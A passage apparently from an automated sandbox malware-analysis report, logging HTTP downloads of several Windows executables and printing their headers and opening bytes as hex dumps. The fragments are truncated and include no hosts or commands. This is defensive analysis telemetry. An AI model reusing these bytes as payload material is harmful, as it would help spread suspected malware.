00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 00 00 00 02 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 b4 08 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 2c 00 00 00 10 01 00 00 2c 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 00 00 00 00 00 de 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 06 Sep 2024 06:17:05 GMTContent-Type: application/octet-streamContent-Length: 513536Last-Modified: Wed, 04 Sep 2024 17:23:57 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d897ad-7d600"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 9e 56 d8 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ca 07 00 00 0a 00 00 00 00 00 00 de e8 07 00 00 20 00 00 00 00 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 08 00 00 02 00 00 cb db 07 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 e8 07 00 4b 00 00 00 00 00 08 00 02 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 08 00 0c 00 00 00 58 e7 07 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 c8 07 00 00 20 00 00 00 ca 07 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 02 06 00 00 00 00 08 00 00 08 00 00 00 cc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 08 00 00 02 00 00 00 d4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 e8 07 00 00 00 00 00 48 00 00 00 02 00 05 00 c8 da 07 00 90 0c 00 00 03 00 02 00 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 9c 51 cd 59 06 b1 01 70 c5 1a 71 56 cb 7b bf 0f 30 5f 86 f0 c8 a7 c4 39 32 aa 4e 72 f9 ad 25 ad 8d 4e d9 39 a3 68 8c a8 68 91 58 87 64 2f f0 8d 81 c3 4b 35 77 f7 fa 2e 95 13 dc 7d 3c 89 12 cd 81 83 f3 d1 fa 1d b9 23 67 56 a8 94 ba 3d 2a e1 a0 c4 c8 85 5f 5b 8f 80 1d dd f0 86 13 76 70 06 ee 62 73 ba 50 c1 ea fe a4 1a 5b 97 e2 fc 9e 42 bf a1 a6 ec 59 88 8f 17 da d8 3a 45 91 28 b3 c4 2f 31 94 e9 25 0a dc d2 17 6c 3e 8c 4c 8d 0b 89 06 8e da a9 61 44 b4 a1 85 52 91 3c ec 28 ab 3b b0 bf 52 5f bf 29 7e a9 34 fe 57 e3 53 6c e1 d3 b1 49 8c 2a b8 41 dd 14 44 ac 28 d0 08 e8 5b 4a a6 bb 75 af d5 27 db 51 ce e9 b9 e4 e9 79 70 d8 f8 8a 5c f9 db 3d 96 d1 39 47 26 c0 0f 3c 35 8d 75 36 60 91 ef c9 f9 74 2c 03 50 8e a2 e1 3a a5 ec 6b e2 f3 3d 36 78 be 7b 63 e4 a7 c0 b7 f4 71 eb ff 08 a3 b8 a0 d2 ad df 07 89 1e c7 93 58 b2 bd e8 60 32 94 3b 4c d8 4a 48 98 0c 39 63 2f d0 8d af 1b dc fb 86 ef 19 42 25 92 73 82 b
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 06 Sep 2024 06:17:06 GMTContent-Type: application/octet-streamContent-Length: 3851776Last-Modified: Mon, 02 Sep 2024 11:18:17 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d59ef9-3ac600"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 15 38 33 9d 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 e0 29 00 00 e2 10 00 00 00 00 00 9e ff 29 00 00 20 00 00 00 00 2a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 3b 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 50 ff 29 00 4b 00 00 00 00 20 2a 00 08 dd 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3b 00 0c 00 00 00 02 ff 29 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 df 29 00 00 20 00 00 00 e0 29 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 73 64 61 74 61 00 00 e8 01 00 00 00 00 2a 00 00 02 00 00 00 e4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 08 dd 10 00 00 20 2a 00 00 de 10 00 00 e6 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 3b 00 00 02 00 00 00 c4 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 06 Sep 2024 06:17:09 GMTContent-Type: application/octet-streamContent-Length: 14748160Last-Modified: Fri, 30 Aug 2024 12:15:51 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d1b7f7-e10a00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 00 00 00 00 00 34 de 00 00 00 00 00 e0 00 02 01 0b 01 03 00 00 88 60 00 00 e6 0a 00 00 00 00 00 10 7c 07 00 00 10 00 00 00 40 d1 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 c0 e4 00 00 04 00 00 56 55 e1 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 c0 dc 00 4c 04 00 00 00 e0 e1 00 95 d2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 dc 00 5c fa 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 56 d1 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 28 86 60 00 00 10 00 00 00 88 60 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 2c 93 70 00 00 a0 60 00 00 94 70 00 00 8c 60 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ac 77 0b 00 00 40 d1 00 00 12 08 00 00 20 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 4c 04 00 00 00 c0 dc 00 00 06 00 00 00 32 d9 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 5c fa 04 00 00 d0 dc 00 00 fc 04 00 00 38 d9 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 73 79 6d 74 61 62 00 04 00 00 00 00 d0 e1 00 00 02 00 00 00 34 de 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 2e 72 73 72 63 00 00 00 95 d2 02 00 00 e0 e1 00 00 d4 02 00 00 36 de 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 06 Sep 2024 06:17:14 GMTContent-Type: application/octet-streamContent-Length: 331776Last-Modified: Thu, 05 Sep 2024 16:36:50 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d9de22-51000"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 c4 dc d9 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 0b 00 00 04 05 00 00 0a 00 00 00 00 00 00 de 22 05 00 00 20 00 00 00 40 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 90 22 05 00 4b 00 00 00 00 40 05 00 14 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 05 00 0c 00 00 00 4c 22 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 02 05 00 00 20 00 00 00 04 05 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 14 06 00 00 00 40 05 00 00 08 00 00 00 06 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 05 00 00 02 00 00 00 0e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 22 05 00 00 00 00 00 48 00 00 00 02 00 05 00 28 26 00 00 88 17 00 00 03 00 02 00 0b 00 00 06 b0 3d 00 00 e8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 05 00 5d 00 00 00 01 00 00 11 2b 05 28 fb 03 4f 4f 7e 01 00 00 04 3a 4b 00 00 00 17 80 01 00 00 04 28 10 00 00 0a 20 e8 07 00 00 20 09 00 00 00 20 05 00 00 00 73 11 00 00 0a 28 12 00 00 0a fe 0e 00 00 fe 0d 00 00 28 13 00 00 0a 28 14 00 00 0a 20 0e 00 00 00 3f 0b 00 00 00 72 01 00 00 70 73 15 00 00 0a 7a 2a 00 00 00 36 2b 05 28 63 88 12 4f 28 01 00 00 06 2a 00 00 4e 2b 05 28 44 b0 3c 35 28 15 00 00 06 02 28 16 00 00 0a 2a fa 2b 05 28 f9 08 51 4e 28 15 00 00 06 1f 10 8d 1c 00 00 01 25 d0 06 00 00 04 28 17 00 00 0a 80 02 00 00 04 20 00 c0 04 00 8d 1c 00 00 01 25 d0 07 00 00 04 28 17 00 00 0a 80 03 00 00 04 2a 00 6a 2b 05 28 52 ff 69 5b 28 15 00 00 06 02 28 16 00 00 0a 02 03 28 06 00 00 06 2a 00 13 30 03 00 34 00 00 00 02 00 00 11 2b 05 28 65 95 62 69 03 0b 16 0c 38 12 00 00 00 07 08 6f 18 00 00 0a 0a 06 28 19 00 00 0a 08 17 58 0c 08 07 6f 1a 00 00 0a 3f e2 ff ff ff 28 1b 00 00 0a 2a 13 30 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 06 Sep 2024 06:17:14 GMTContent-Type: application/octet-streamContent-Length: 3607496Last-Modified: Thu, 05 Sep 2024 10:40:39 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d98aa7-370bc8"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 06 b7 aa 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 5c 26 00 00 ea 0f 00 00 00 00 00 2e 7a 26 00 00 20 00 00 00 80 26 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 36 00 00 04 00 00 86 d4 37 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 e0 79 26 00 4b 00 00 00 00 a0 26 00 94 e2 0f 00 00 00 00 00 00 00 00 00 00 4a 36 00 c8 c1 00 00 00 a0 36 00 0c 00 00 00 90 79 26 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 5a 26 00 00 20 00 00 00 5c 26 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 73 64 61 74 61 00 00 18 02 00 00 00 80 26 00 00 04 00 00 00 60 26 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 94 e2 0f 00 00 a0 26 00 00 e4 0f 00 00 64 26 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 36 00 00 02 00 00 00 48 36 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 06 Sep 2024 06:17:17 GMTContent-Type: application/octet-streamContent-Length: 8684256Last-Modified: Tue, 03 Sep 2024 13:26:30 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d70e86-8482e0"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 a8 b8 50 f6 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 08 80 00 00 9e 03 00 00 00 00 00 ce 26 80 00 00 20 00 00 00 40 80 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 84 00 00 04 00 00 49 b2 84 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 80 26 80 00 4b 00 00 00 00 60 80 00 d6 97 03 00 00 00 00 00 00 00 00 00 00 aa 83 00 e0 d8 00 00 00 00 84 00 0c 00 00 00 36 26 80 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 06 80 00 00 20 00 00 00 08 80 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 73 64 61 74 61 00 00 a0 02 00 00 00 40 80 00 00 04 00 00 00 0c 80 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d6 97 03 00 00 60 80 00 00 98 03 00 00 10 80 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 84 00 00 02 00 00 00 a8 83 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Sep 2024 06:17:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
